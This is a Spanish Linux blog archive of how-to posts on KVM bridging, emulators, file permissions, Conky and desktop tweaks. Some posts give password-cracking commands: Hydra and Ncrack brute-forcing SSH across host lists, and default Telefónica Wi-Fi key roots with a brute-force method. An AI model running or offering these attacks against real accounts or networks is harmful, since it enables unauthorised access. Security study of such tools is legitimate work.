martes, mayo 24, 2011

Virtualización con Kernel-based Virtual Machine KVM

KVM es una solución de virtualización que se apoya en Qemu como software de virtualización y en unos módulos del kernel para aprovechar los registro VT en procesadores Intel y SVM en los AMD.

Lo primero que haremos será configurar estos módulos en nuestro kernel:
Virtualization --> Kernel-based Virtual Machine (KVM) support --> KVM for Intel processors support

NOTA: En mi caso se trata de un microprocesador de Intel.

Instalamos las aplicaciones a nivel de usuario, para que la gestión de las máquinas virtuales sea mas cómoda también vamos a instalar una utilidad de gestión:
apt-get install qemu-kvm aqemu

Desde aqemu debe ser posible acceder a diferentes funcionalidades de Linux que solo es posible acceder con permisos de root, se pueden cambiar los permisos de diferentes dispositivos pero los mas fácil es editar los comandos permitidos por sudo:
visudo
"usuario" ALL=(root)NOPASSWD: /usr/bin/aqemu

KVM tiene el tema de gestión de red un poco verde, si tenemos una tarjeta de red ethernet no hay problema, tan solo habrá que generar un bridge de la tarjeta cableada pero si la tarjeta de red es inalámbrica en principio esto no es posible, a continuación explicaré como resolver cada uno de los escenarios.

Instalamos el software necesario:
apt-get install uml-utilities parprouted bcrelay

Red cableada:

Para que las máquinas virtuales puedan integrarse en nuestra red cableada es necesario crear un bridge entre nuestra tarjeta de red ethernet y una interfaz tap.

Generamos la interfaz y la levantamos:

tunctl -t tap0
ifconfig tap0 up

Creamos el bridge y le añadimos la interfaz ethernet y la virtual:
brctl addbr br0
brctl addif br0 eth0
brctl addif br0 tap0

Reconfiguramos la interfaz ethernet para que no posea ninguna dirección IP y le asignamos una al bridge:

ifconfig eth0 0.0.0.0
dhclient br0


Ahora asociamos nuestra tap0 a la máquina virtual:
Connection mode: Open a TUN/TAP interface
TUN/TAP Script Deshabilitado
Interface name: tap0

Nuestra máquina virtual ya se comportará como si se tratase de un equipo físico conectado a la red ;)

Red wireless:

En la red wireless debemos hacer dos distinciones según el método de asignación de direcciones IP a las máquinas virtualizadas:

IP estática:

Habilitamos el enrutado en el kernel:
echo 1 > /proc/sys/net/ipv4/ip_forward

Generamos una interfaz TAP:
tunctl -t tap0
ifconfig tap0 up

Le asignamos una ip de nuestra red:
ifconfig tap0 192.168.1.100

Con Parprouted conseguiremos hacer magia, se trata de un proxy ARP a nivel 3 ;))
parprouted wlan0 tap0

Añadimos una ruta estática para la máquina virtual:
route add -host 192.168.1.200 dev tap0

Ahora configuramos la máquina virtual en qemu:
Connection mode: Open a TUN/TAP interface
TUN/TAP Script Deshabilitado
Interface name: tap0

Dentro de la máquina virtual se configurará la direcciín IP de forma estática indicandole la IP: 192.168.1.200

Con esto la máquina virtual se podrá comunicar con Internet y con la máquina anfitrión.


IP dinámica:

Habilitamos el enrutado en el kernel:
echo 1 > /proc/sys/net/ipv4/ip_forward

Generamos una interfaz TAP:
tunctl -t tap0
ifconfig tap0 up

Le asignamos una ip de nuestra red:
ifconfig tap0 192.168.1.100

Habilitamos el proxy ARP de capa3:
parprouted wlan0 tap0

Parprouted tiene un inconveniente y es que solo permite el paso de tráfico unicast por el bridge, por lo tanto las peticiones DHCP serán capadas, pero existe la herramienta bcrelay que solventa este problema:
bcrelay -i tap0 -o wlan0 &

Ahora configuramos la máquina virtual en qemu:
Connection mode: Open a TUN/TAP interface
TUN/TAP Script Deshabilitado
Interface name: tap0

Dentro de la máquina virtual se configurará la dirección IP de forma dinámica.


NOTA: Las direcciones IP para las interfaces TAP he decidido que empiezen por la 100 y las IPs de las máquinas virtuales a partir de la 200, estos rangos son totalmente arbitrarios, yo los elegí porque son rangos libre de mi direccionamiento

Para cada máquina virtual habrá que añadir una interfaz tap distinta ocupando una ip de nuestra red :(
Si queremos que las máquinas virtuales puedan comunicarse entre ellas habrá que "bridgearlas" entre ellas:
parprouted tap0 tap1

De este modo nos podremos olvidar de los tediosos problemas que dan Vmware y VirtualBox cuando recompilamos el kernel, módulos que no compilan o ñapas en el código......

NOTA: Si se configura una máquina virtual Linux para que pida dirección por DHCP no funciona, este es un tema en el que seguiré indagando.

Dejo estos scripts para que todo sea automático, nos generará un TAP por máquina vritual, le asignará un IP y la meterá en un bridge junto con el resto de máquinas consiguiendo que todos puedan verse con todos y además tengan acceso a Inet ;), además el script configura de forma automática las intyerfaces con bcrelay.

Para que funcionen tendremos que definir algunas variables en AQemu_UP.sh

- AQemu_UP.sh
#!/bin/bash
clear
echo "|---------------------------------------|"
echo "| Script configuracion interfaces AQemu |"
echo "| By Kr0m V0.1b |"
echo "|---------------------------------------|"
echo " "
echo " "


rm -rf /tmp/TAPS 2>/dev/null
rm -rf /tmp/IP_VM 2>/dev/null

DIR_AQEMU=/mnt/datos/AQemu
N=0
RED_TAP=192.168.1.
IP_TAP=100
RED_VM=192.168.1.
echo $RED_VM > /tmp/RED_VM
IP_VM=200
echo $IP_VM > /tmp/IP_VM
WIFI=wlan0

echo 1 > /proc/sys/net/ipv4/ip_forward

for i in $DIR_AQEMU/*.aqemu
do
#echo i: $i
#echo N: $N
#echo IP_TAP: $IP_TAP
#echo IP_VM: $IP_VM
tunctl -t tap$N
ifconfig tap$N up
ifconfig tap$N $RED_TAP$IP_TAP
route add -host $RED_VM$IP_VM dev tap$N
bcrelay -i tap$N -o $WIFI &
let N=$N+1
let IP_TAP=$IP_TAP+1
let IP_VM=$IP_VM+1
done

N=$((N-1))
#echo N: $N
parprouted $WIFI $(for t in $(seq 0 $N); do echo tap$t; done)

echo $N > /tmp/TAPS

echo " "
echo " "
echo "---------- INTERFACES DE RED ---------------"
ifconfig

echo " "
echo "---------- TABLA DE RUTAS ------------------"
route -n

echo " "
echo "---------- PROCESOSO ARRANCADOS ------------------"
ps aux | grep bcrelay | grep -v grep
ps aux | grep parprouted | grep -v grep


- AQemu_DOWN.sh
#!/bin/bash
clear
echo "|---------------------------------------------|"
echo "|Script eliminacion interfaces AQemu |"
echo "|---------------------------------------------|"
echo " "
echo " "

echo 0 > /proc/sys/net/ipv4/ip_forward

N=$(cat /tmp/TAPS)
for i in $(seq 0 $N)
do
ifconfig tap$i down
done

killall parprouted
killall bcrelay

echo " "
echo " "
echo "------------- INTERFACES DE RED ---------------"
ifconfig

echo " "
echo "------------- TABLA DE RUTAS ------------------"
route -n

echo " "
echo "------------- PROCESOS ARRANCADOS ------------------"
ps aux | grep bcrelay | grep -v grep
ps aux | grep parprouted | grep -v grep

NOTA: Estos scripts precisan de privilegios de root, para ello configuraremos sudo de tal modo que:
"usuario" ALL=(root)NOPASSWD: "ruta AQemu_UP.sh"
"usuario" ALL=(root)NOPASSWD: "ruta AQemu_DOWN.sh"

martes, mayo 17, 2011

NeoGeo

El otro día me entró el gusanillo de jugar a algún juego de estos de la vieja escuela, tipo Metal Slug así que me dispuse a instalar un emulador de NeoGeo (gngeo).

Nos bajamos el emulador de aquí.
tar xvzf gngeo-****.tar.gz
cd gngeo-****/
./configure
make
make install

Bajamos la interfaz gráfica de aquí.
bzip2 -dc XGngeo-****.tar.bz2 | tar xv
cd XGngeo-****l
./setup.py install

La interfaz gráfica tiene algunos bugs que se pueden solventarse del siguiente modo:
mkdir -p /usr/share/xgngeo
cp -r XGngeo-16/data/img/ /usr/share/xgngeo/
mkdir -p /usr/lib/python2.6/site-packages/xgngeo
cp XGngeo-16/data/py/* /usr/lib/python2.6/site-packages/xgngeo

Nos hará falta la BIOS de la consola.
Cuando arranquemos el gestor gráfico nos aparecerá un asistente donde le indicaremos la ruta de ciertos ficheros como:
  • El directorio de la BIOS.
  • El directorio donde se encuentra el driver de las ROMs: Este directorio creo que no se emplea para nada
  • El ejecutable de gngeo.

Con esto ya estamos preparados para jugar al Metal Slug entre otros ;;)

Ncrack

Hace poco escribí un artículo sobre como crackear logins de acceso mediante Hydra, explicaba que se alcanzaba el máximo número de ficheros abiertos simultaneamente en nuestro sistema y por esta razón había que modificar ciertos parámetros, cual ha sido mi sorpresa cuando esto seguía ocurriendo incluso después de aplicar los cambios.

A raíz de esto me he dispuesto a probar Ncrack. Este programa viene de la mano de los creadores de nmap y cuenta con soporte para los siguientes protocolos:
  • FTP
  • TELNET
  • SSH
  • HTTP/S
  • SMB
  • RDP
  • VNC
  • POP3/S

Se encuentra en fase alpha pero parece funcionar bien ;)

Primero deberemos instalar la librería libssh(no estoy seguro de si este paso es estrictamente necesario):
http://www.libssh.org/files/
tar xvzf libssh...
cd ...
mkdir build
cd build
cmake ..
make
su
make install

Nos bajamos Ncrack lo compilamos y lo instalamos:
wget http://nmap.org/ncrack/dist/ncrack-******.tar.gz
tar xvzf ncrack-******.tar.gz
cd ncrack-******.tar.gz
./configure
make
make install

Un ejemplo de uso:
ncrack -iL HOSTS -p ssh -U USER -P PASS

Donde HOSTS es el listado de ips, ssh el servicio, USER el listado de usuarios y PASS la lista de passwords.
A disfrutar que la vida son dos días!!

domingo, mayo 15, 2011

Service tag desde la línea de comandos.

El service tag es un numerito que los fabricantes de equipos piden a los clientes para saber que equipo compraron en su momento, este número puede ser obtenido desde la línea de comandos con la orden:
dmidecode -s system-serial-number

Puede ser útil para llevar una base de datos de los service tags de nuestra empresa, mediante un script en expect resultaría bastante sencillo generar la base de datos ;)

Correspondencia UUID (Universally Unique Identifier) partición

En la última versión de Debian el fstab ya viene con los UUID (Universally Unique Identifier) configurados para hacer referencia a las particiones de nuestro sistema, yo personalmente odio estos números sin sentido ya que no puedo ver de un vistazo que partición se monta sobre que directorio (Sí ya se que en los comentarios pone la partición).
El empleo de UUID tiene una ventaja (y seguramente alguna mas) en cuanto a dispositivos de almacenamiento externos como discos duros USB. Si tenemos dos discos, cada uno con su UUID y el fstab configurado por UUID cuando conectemos alguno de ellos se montará en el directorio especificado en el fstab sin importar el orden de conexión.

Ahora supongamos que configuramos el fstab por "dispositivo" con las entradas:
/dev/sda1 /mnt/usb1 ext4 defaults 0 2
/dev/sdb1 /mnt/usb2 ext4 defaults 0 2

El primer disco que conectemos será /dev/sda1 y el segundo /dev/sda2, por lo tanto si conectamos el disco usb2 será el dispositivo /dev/sda1 y se montará en el directorio /mnt/usb1 cosa que no queremos que ocurra!!!

Si queremos ver la correspondencia de UUID a partición es tan sencillo como ejecutar:
ls -l /dev/disk/by-uuid/

Yo personalmente lo tengo configurado por dispositivo las particiones del sistema y por UUID los discos externos ;)

sábado, mayo 14, 2011

Crackeador Hydra

THC-Hydra es una herramienta que nos permite crackear cuentas de usuario de varios servicios:
cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get} http[s]-{get|post}-form http-proxy icq irc imap ldap2 ldap3[-{cram|digest}md5] mssql mysql ncp nntp oracle-listener oracle-sid pcnfs pop3 pcanywhere postgres rexec rlogin rsh sip smb smbnt smtp smtp-enum snmp socks5 ssh svn teamspeak telnet vnc vmauthd xmpp

Para que poder crackear cada uno de los servicios debemos tener instaladas las librerias que requiera cada uno de los servicios. En nuestro caso nos vamos a centrar en SSH.

Primero deberemos instalar la librería libssh:
http://www.libssh.org/files/
tar xvzf libssh...
cd ...
mkdir build
cd build
cmake ..
make
su
make install

Ahora ya estamos listos para instalar Hydra(la última versión estable NO compila correctamente a fecha e este artículo):
wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
tar xvzf hydra.....
cd ...
./configure
make
su
make install

Un ejemplo de uso de Hydra podría ser este:
hydra -l "usuario" -P "Fichero_passwords" -M "Fichero_ips" ssh

Hydra abre muchos ficheros simultaneamente en el sistema para realizar el proceso de crackeo de forma paralela, de este modo comprueba de forma simultánea varias cuentas, pero esto puede hacer que se alcance el límite impuesto por el sistema de ficheros abiertos.

Para comprobar cuantos ficheros hay abiertos actualmente es tan fácil como:
lsof | wc -l

Podemos consultar el límite con:
sysctl fs.file-max

Si vemos que se supera editamos el fichero /etc/sysctl.conf y aumentamos el límite del parámetro fs.file-max.
Para aplicar los cambios ejetuamos:
sysctl -p

También es posible que nos esté limitando PAM con sus restricciones, para evitar esto editamos el fichero /etc/security/limits.conf

"usuario" hard nofile "max nº de ficheros"

Con esto ya no creo que haya mayor problema a la hora de crackear ;)

CORRECCIÖN: Sigue apareciendo el error del límite de ficheros abiertos, no se si se debe a que la versión que he compilado es una versión beta :(

jueves, abril 14, 2011

HoneyPot básico

Hola amigos, en esta ocasión vamos a preparar un HoneyPot muy básico, este nos permitirá guardar un registro de los comandos enviados al supuesto servicio vulnerable.

Los primero será tener instalado netcat:
apt-get install netcat

Ahora generamos el Script del HoneyPot (honey.sh):
#!/bin/bash

buff="220 ProFTPD 1.3.3c Server (ProFTPD)"
rm -rf /var/log/honeylog.log 2>/dev/null

for i in $(ps aux|grep honey|grep -v grep|grep -v $$| awk '{print $2}'); do kill -9 $i 2>/dev/null; done

while [ 1 ]; do
echo $buff | netcat -v -l -p 21 >> /var/log/honeylog.log 2>> /var/log/honeylog.log
done


Como se puede observar nos hacemos pasar por el servicio ProFTPD 1.3.3c y los logs son guardados en /var/log/honeylog.log, con un tail -f /var/log/honeylog.log podremos ver los accesos en tiempo real.

Cabe destacar que se puede indicar el banner que se desee haciendose pasar por cualquier otro servicio.

Espero que hayais disfrutado con este articulillo, fácil y rápido, que mas se puede pedir ;)

sábado, abril 02, 2011

Permisos en Linux, la guía definitiva.

Los permisos de directorios y ficheros en el mundo Linux son muy sencillos en un principio pero cuando empezamos a tener en cuenta el sticky bit y otras herramientas como chattr la cosa se complica. Todo administrador debería de tener estos conceptos muy claros ya que si no es así el sistema se convertirá en un queso de gruyere en dos días.
En este manual se va a explicar desde los mas básico a lo mas complejo.

-----------------------------------------------------------

PERMISOS BÁSICOS:
Los permisos de un fichero se dividen en tres trios de permisos, los primeros tres corresponden al propietario del usuario, los siguientes tres al grupo al que pertenece y los otros tres a otros.

Un ejemplo en el que el fichero .profile pertenece al usuario root y al grupo root, el propietario tiene permisos de lectura y escritura, el grupo de lectura y los otros de lectura.
-rw-r--r-- 1 root root 140 nov 19 2007 .profile

Para asignar permisos a los ficheros lo mas fácil es aprenderse la correspondencia:
R: 4 --> Lectura
W: 2 --> Escritura
X: 1 --> Ejecución

Por lo tanto si queremos asignar permisos de RW para el propietario, WX para el grupo y R para otros se haría del siguiente modo: chmod 634 "fichero".

Para poder hacer un cd se necesitan permisos de ejecución en el direcotrio.
Para acceder a un subdirectorio que nos pertenece pero cuelga de otro, se necesitan permisos de ejecución en el direcotrio intermedio para poder pasar a través de él.

Si se otorgan permisos de lectura sin ejecución y se hace un ls -la del directorio:
usuario@debian:/$ ls -la aaa/
ls: no se puede acceder a aaa/.: Permiso denegado
ls: no se puede acceder a aaa/..: Permiso denegado
ls: no se puede acceder a aaa/ff.sh: Permiso denegado
total 0
d????????? ? ? ? ? ? .
d????????? ? ? ? ? ? ..
-????????? ? ? ? ? ? ff.sh

-----------------------------------------------------------

UMASK:
Se trata de los permisos por defecto que adoptarán los ficheros y directorios cuando se creen. Para definir el valor de umask hay que pensar "a la inversa: wildcard", con un ejemplo se verá claro: umask 007 equivaldría a chmod 770.

También hay que tener en cuenta que los ficheros se generarán con los permisos indicados en umask pero eliminando el permiso de ejecución. Si asigno un umask de 522 se crearían con los siguientes permisos:
- Directorios: 255
- Ficheros: 244

Otro aspecto a tener en cuenta es que el valor de umask va ligado al usuario, para poder definir un umask de forma global debemos editar el fichero: /etc/profile y si queremos hacerlo en un solo usuario: ~/.bashrc, hasta que el usuario no salga y vuelva logarse no se hará efectivo.

-----------------------------------------------------------

STICKY BIT:

Podremos saber si el sticky bit está activado mirando los permisos de ejecución. Para el propietario y el grupo se representa con una s y para otros con una t, si el bit de ejecución ya estaba habilitado aparecerá la s o la t en minúsculas, en caso contrario en mayúsculas.
- Ejemplo en el que NO está habilitado el permiso de ejecución y sí el Sticky bit: rSr-Sr-T.
- Ejemplo en el que SI está habilitado el permiso de ejecución y sí el Sticky bit: rwsr-sr-t.

Este bit se comportará de un modo u otro según esté definido en un directorio o un fichero.

Fichero:
4000 --> Si es ejcutable se ejecutará con los permisos del propoietario
2000 --> Si es ejecutable se ejecutará con los permisos del grupos
1000 --> Se empleaba para que el SO mantuviese el fichero en SWAP, actualmente es ignorado

Directorio:
4000 --> No se utiliza para nada
2000 --> Los ficheros o directorios generados pertenecerán al grupo al que pertenece el directorio actual.
1000 --> Los fichero o directorios solo pueden ser renombrados o borrados por el propietario del elemento, el propietario del directorio o el usuario root, aunque el resto de usuarios tenga permisos de escritura.
NOTA:Pero si que pueden ser editados si se tienen los permisos adecuados.

Para eliminar el sticky bit no basta con ejecutar 0799 por ejemplo, hay que hacerlo con:
- chmod -s
- chmod -t

-----------------------------------------------------------

CHATTR:

NOTA:
- Las opciones c, s y u no están implementadas de forma nativa en ext2 y ext3
- La opción j solo funciona sobre ext3
- La opción D requiere un kernel >= 2.5.19


+A --> No se actualiza la hora de acceso al fichero, pero sí la de modificación.
+a --> Solo se puede añadir al fichero, solo ROOT puede asignar este parámetro.
+c --> Comprime de forma transparente el fichero
+D --> Si se aplica a un directorio los cambios realizados en él son escritos al momento en el disco duro.
+d --> Este fichero será ignorado por el programa dump (Backups)
E --> Indica que hay un problema de compresión con el fichero, no se puede modificar, solo se puede ver con lsattr
e --> Indica que se emplean "extents" para saber las posiciones del disco que contienen la información del fichero, no se debe modificar.
I --> Indica que el directorio es indexado empleando hashed tree, no tocar
h --> Indica que el tamaño del fichero se entrega en bloques no en sectores, no tocar.
+i --> No puede ser borrado, renombrado o vinculado mediante un link.
+j --> La información del fichero es escrita primero al journal si la partición está montada con las opciones "data=ordered" or "data=writeback".
+s --> Cuando se borre este fichero se sobreescribe se escriben ceros ;)
+S --> La información se escribe al momento en el disco.
+T --> Si se deshabilita el algoritmo de distribución de datos en el disco (Orlov) intentará meter los datos lo mas juntos posible entre ellos.
+t --> Deshabilita el "tail-merging" (aprovechar huecos de otros ficheros para meter información de este fichero) del fichero, opción necasaria para LILO (acceso directo el disco).
+u --> Permite el "undelete" del fichero
X --> Indica que el contenido de un fichero comprimido puede ser accedido en "raw", no se puede cambiar
Z --> Indica que el contenido de un fichero comprimido está "dirty", no se puede cambiar

Podemos ver los atributos de un fichero con el el comando lsattr.

Para comprobar opciones como +A se puede emplear la herramienta stat.
stat "fichero": Muestra información sobre el acceso a los ficheros.

Espero que le saqueis jugo al artículo ya que en mi opinión está muy completito ;)

jueves, marzo 03, 2011

Conky a fondo

Hola amigos, en esta ocasión vamos a instalar y configurar una de las herramientas de monitorización mas versátiles en Linux, estoy hablando de Conky. Ya escribí con anterioridad un artículo sobre este software pero esta vez vamos a destriparlo al completo ;)

Lo primero será descargar el software desde la página del proyecto en SourceForge.

Descargamos las fuentes:
cd /usr/src
wget http://sourceforge.net/projects/conky/files/conky/1.8.1/conky-1.8.1.tar.gz

Una vez descargado lo descomprimimos de la forma habitual:
tar xvzf conky-1.8.1.tar.gz

Lo instalamos:
cd conky-1.8.1
./configure --enable-weather-metar --enable-lua --enable-wlan
make
make install

Ahora ya tendríamos Conky listo para funcionar, pero si queremos monitorizar aspectos meteorológicos desde el tendremos que instalarle un paquete adicional llamado conkyForecast.
dpkg -i conkyforecast_2.09_all.deb

Para poder realizar consultas debemos abrirnos una cuenta en:
http://www.weather.com/services/xmloap.html

Los ficheros de configuración de Forecast además de necesitar los datos de acceso también necesita el código de la zona geográfica, para Madrid por ejemplo se obtendría visitando esta página.

Editamos el fichero de configuración de ConkyForecast:
vi /usr/share/conkyforecast/conkyForecast.config




Copiamos el fichero de configuración al directorio home del usuario:
cp /usr/share/conkyforecast/conkyForecast.config /home/"usuario"/.conkyForecast.config
chown "usuario"."usuario" /home/"usuario"/.conkyForecast.config

Para pedir información desde el fichero de configuración se hará del siguiente modo:
${offset 165}${voffset -45}${font Weather:size=14}${color Red}y ${color}${font}Temp: ${alignr}${execi 3600 conkyForecast --location=SPXX0050 --datatype=LT} / ${execi 3600 conkyForecast --location=SPXX0050 --datatype=HT}
${offset 165}${font ConkyWeather:size=11}${color Deep Sky Blue}8 ${color}${font}Humedad: ${alignr}${execi 3600 conkyForecast --location=SPXX0050 --datatype=HM}
${offset 165}${font ConkyWeather:size=11}${color Aquamarine}2 ${color}${font}Viento: ${alignr}${execi 3600 conkyForecast --location=SPXX0050 --datatype=WS}

Estos son solo algunos parámetros, para ver que mas se puede pedir ejecutamos:
conkyForecast --help

Como ya he dicho Conky es altamente configurable, tanto que permite añadir diferentes fuentes, para ello habrá que instalarlas primero. Una buena página de donde descargarlas es Dafont.

Cuando nos bajemos las fuentes las decomprimimos en un directorio y las movemos a /usr/share/fonts/truetype:
cp *.ttf /usr/share/fonts/truetype

Asignamos los permisos pertinentes:
chmod 755 /usr/share/fonts/truetype/*

Regeneramos el índice de fuentes:
su "usuario"
fc-cache -f -v

Para ver las fuentes disponibles:
fc-list
exit

Cabe destacar que si indicamos en el fichero de configuración una fuente que no se encuentra instalada nos aparecerá la letra pero no el dibujo.

Otra opción interesante de Conky es colorear el texto, un ejemplo puede ser:
${font StyleBats:size=16}i${font}${color Tan1} Kernel: ${color}${alignr}${kernel}

Existe una tabla con los colores disponibles en la Wikipedia.

Creamos el directorio donde guardaremos todos los ficheros relacionados con conky:
mkdir /home/"usuario"/.conky

Conky nos permite pintar diferentes textos o gráficos en base a ciertas condiciones, es tan sencillo como esto:
MAC_AP: $alignr${execi 30 /home/"usuario"/.conky/MAC.sh}${if_existing /tmp/MAC_OK}${color Green}${font sans-serif:normal:size=8}${execi 60 GW=$(/sbin/route -n|grep UG|awk -F " " '{print$2}') && /usr/sbin/arp -a|grep $GW|awk -F " " '{print$4}'}${font}${color}${else}${color Red}${font sans-serif:normal:size=8}${execi 60 GW=$(/sbin/route -n|grep UG|awk -F " " '{print$2}') && /usr/sbin/arp -a|grep $GW|awk -F " " '{print$4}'}${font}${color}${endif}

Primero ejecuta el script /home/"usuario"/.conky/MAC.sh, este generará el fichero /tmp/MAC_OK en caso de que la MAC del AP coincida con una conocida, en caso contrario no lo generará.
Si existe el fichero /tmp/MAC_OK nos pintará de color verde la salida del comando /usr/sbin/arp -a|grep wlan0|awk -F " " '{print$4}' en caso contrario lo hará en rojo.

De este modo podemos monitorizar si nos han envenenado la tabla ARP para el AP ;)

En el script MAC.sh hay que modificar el parámetro MAC por la MAC de vuestro AP.

Si os fijais en la configuración de mi Conky podreis ver que hay otras comparaciones sobre uso de RAM o disco duro de modo que si se supera el 90% el icono será pintado en rojo.

Aquí podeis encontrar mi configuración con resolución de portatil.
Aquí la del monitor.

Para ejecutarla sería tan sencillo como conky -c conky-config
También me he currado un pequeño script que se puede añadir al arranque de gnome para que compruebe la resolución de las X y cargue una configuración u otra.

Creo que con esto queda casi todo explicado sobre Conky, solo quedaría el tema de los scripts en LUA pero esa es otra historia.......

domingo, diciembre 26, 2010

IE en Linux

Por desgracia hay varias páginas web que no funcionan correctamente si no se visualizan en Internet Explorer, hay otras que incluso realizan comprobaciones del navegador empleado y deniegan el acceso, este último problema se puede resolver fácilmente mediante un plug-in de Firefox.

En el primero de los casos no tendremos mas remedio que tragar e instalar IE.

apt-get install wine libxxf86dga1 libxxf86vm1 cabextract lib32nss-mdns

wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz
tar zxvf ies4linux-latest.tar.gz
cd ies4linux-*
./ies4linux

Ahora ya podremos ver las páginas que daban problemas ;)

Seleccionar dispositivo de video.

Hoy en día cada vez es mas frecuente encontrarse con portatiles o monitores que incorporan una webcam para videoconferencia, estos dispositivos pueden servirnos para realizar videos en una calidad mas o menos decente, dependiendo de la webcam que poseamos.
En este artículo voy a explicar como realizar grabaciones a través de mencoder y como visualizar el video capturado en tiempo real desde la webcam.

Para realizar las grabaciones basta con especificar el dispositivo de video:
mencoder tv:// -tv driver=v4l2:width=320:height=240:device=/dev/video0 -nosound -ovc lavc -o wcrecording.avi

Para reproducir en tiempo real lo que la webcam está capturando:
mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0

Si se tiene mas de una webcam se podrá seleccionar la apropiada cambiando /dev/video0 por /dev/videoX

domingo, noviembre 28, 2010

Cairo Dock sin Compiz

Cairo Dock es un magnífico dock que nos permite lanzar aplicaciones de forma rápida y con animaciones realmente bonitas, en este tutorial voy a explicar los pasos necesarios para instalarlo en Debian Lenny(estable) sin necesidad de Compiz(de este modo ahorraremos preciados recursos).
Cairo necesita un "Composite manager" para poder generar las transparencias y demás efectos, para no tener que instalar Compiz habilitaremos el "Composite manager" de Metacity.

Añadimos el siguiente repositorio:

vi /etc/apt/source.list
deb http://repository.glx-dock.org/debian stable cairo-dock

Añadimos la llave pública del repositorio recien instalado:
wget -q http://repository.glx-dock.org/cairo-dock.gpg -O- | sudo apt-key add -

Actualizamos la base de datos de software:
apt-get update

Instalamos Cairo Dock:
apt-get install cairo-dock cairo-dock-plug-ins

Habilitamos el "Composite manager":
Ejecutamos: gconf-editor
Navegamos hasta Apps->metacity->general
Marcamos la casilla compositing_manager

Para que Cairo Dock sea lanzado en cada inicio de sesión debemos añadirlo ejecutando: gnome-session-properties

Seguramente ya aparezca una entrada llamada GLX-Dock, en caso contrario añadimos una con el comando: cairo-dock -o

Ahora cerramos la sesión y la volvemos a iniciar sesión.
Ya tenemos nuestro Cairo Dock completamente funcional.

domingo, octubre 24, 2010

Configuración SynPS/2 Synaptics TouchPad

En este manual voy a explicar como realizar la configuración avanzada de SynPS/2 Synaptics TouchPad, este touchpad tiene la capacidad de detectar movimiento horizontal, vertical y circular, este último resulta muy útil en las páginas web muy grandes.

Primero comprobamos que tenemos este touchpad en el equipo:
cat /proc/bus/input/devices

Ahora debemos editar el fichero de configuración del servidor gráfico:
vim /etc/X11/xorg.conf

Section "ServerLayout"
Identifier "Layout0"
Screen 0 "Screen0"
InputDevice "Keyboard0" "CoreKeyboard"
InputDevice "Synaptics Touchpad" "AlwaysCore"
EndSection

Section "Files"
EndSection

Section "Module"
Load "dbe"
Load "extmod"
Load "type1"
Load "freetype"
Load "glx"
Load "synaptics"
EndSection

Section "InputDevice"
Identifier "Synaptics Touchpad"
Driver "synaptics"
Option "AlwaysCore" "true" # send events to CorePointer
#Option "Device" "/dev/input/mice"
Option "Device" "/dev/psaux"
Option "Protocol" "auto-dev"
Option "SHMConfig" "true" # configurable at runtime? security risk
Option "LeftEdge" "1400" # x coord left
Option "RightEdge" "5000" # x coord right
Option "TopEdge" "1300" # y coord top
Option "BottomEdge" "4300" # y coord bottom
Option "FingerLow" "25" # pressure below this level triggers release
Option "FingerHigh" "30" # pressure above this level triggers touch
Option "MaxTapTime" "180" # max time in ms for detecting tap
Option "VertEdgeScroll" "true" # enable vertical scroll zone
Option "HorizEdgeScroll" "true" # enable horizontal scroll zone
Option "CornerCoasting" "true" # enable continuous scroll with finger in corner
Option "CoastingSpeed" "0.30" # corner coasting speed
Option "VertScrollDelta" "45" # edge-to-edge scroll distance of the vertical scroll
Option "HorizScrollDelta" "45" # edge-to-edge scroll distance of the horizontal scroll
Option "MinSpeed" "0.10" # speed factor for low pointer movement
Option "MaxSpeed" "0.60" # maximum speed factor for fast pointer movement
Option "AccelFactor" "0.0020" # acceleration factor for normal pointer movements
Option "VertTwoFingerScroll" "true" # vertical scroll anywhere with two fingers
Option "HorizTwoFingerScroll" "true" # horizontal scroll anywhere with two fingers
Option "TapButton1" "1"
Option "TapButton2" "2"
Option "TapButton3" "3"
Option "EdgeMotionUseAlways" "1"
Option "EmulateMidButtonTime" "75"
EndSection

El valor actual de estas opciones se puede consultar con el comando:
synclient -l

Como se puede observar se pueden tocar más parámetros pero yo no me he parado a investigar para que sirven.

Ahora instalamos un configurador para ciertos parámetros como el inicio del movimiento circular:
apt-get install gsynaptics

Con esto ya solo faltaría reiniciar las X y listo!!!
/etc/init.d/gdm restart

sábado, octubre 02, 2010

Grabación de las X

Seguro que alguna vez querías enseñarle a un amigo el procedimiento a seguir para hacer algo, pero por chat era una tediosa tarea y desearías poder grabar un video para que lo viese con sus propios ojos.

Si es así estas de suerte, sigue leyendo ;)

Instalamos las herramientas necesarias:

apt-get install gtk-recordmydesktop mencoder

Arrancamos gtk-recordmydesktop y lo configuramos:

Guardar Como: "Nombre del fichero"
Seleccionamos la ventana que también puede ser una zona determinada del monitor.

Cuando hayamos terminado presionamos el botón de stop que aparecerá en la barra de Gnome.

Todo esto producirá un fichero con extensión ogv, se puede pasar a avi de forma muy sencilla:
mencoder grabacion.ogv -ovc xvid -oac mp3lame -xvidencopts pass=1 -o archivosalida.avi
rm grabacion.ogv

Con esto ya tendremos un fichero .avi totalmente convencional que podremos reproducir en cualquier lugar.

miércoles, septiembre 29, 2010

Cambiar colores bash

Es posible configurar bash para que nos muestre ciertos ficheros de un color determinado, esto se consigue con la orden ls --color=tty.

Los pasos a seguir son:
cd ~
dircolors --print-database > .dir_colors
vim .dir_colors
DIR 01;33 # directory --> Con esto el color de los directorios pasará de azul asqueroso a un bonito amarillo ;)

vim .bashrc
if [ -x /usr/bin/dircolors ]; then
eval "`dircolors -b .dir_colors`"
alias ls='ls --color=auto'
fi

Cerramos el terminal, abrimos otro y listo.

domingo, septiembre 19, 2010

Crackear wifis Timofónica en 2 minutos

Es sabido por todos que los routers ADSL de Telefónica vienen configurados con un ESSID determinado, por lo tanto es muy fácil localizar este tipo de redes.

Según el modelo del router la password de la red inalámbrica será una u otra, las passwords siguen un patrón común si no se cambia la que viene configurada por defecto:

Password: RaízXXXXYY

Según el modelo tienen una "raíz de contraseña"
Z-com -> Z001349
Zyxel -> Z001349
P-660HW-D1 -> Z001349
Xavy -> X000138
Comtrend -> C0030DA
Zygate -> Z0002CF o C0030DA

Por la MAC del AP se puede saber el fabricante.

Las dos últimas cifras YY son los dos últimos carácteres del ESSID --> WLAN_YY

Como veis solo faltan cuatro caracteres mas y tendremos la password completa.

El ataque que vamos a realizar de esos caracteres será por fuerza bruta, para ello vamos a emplear una herramienta llamada wlandecrypter.

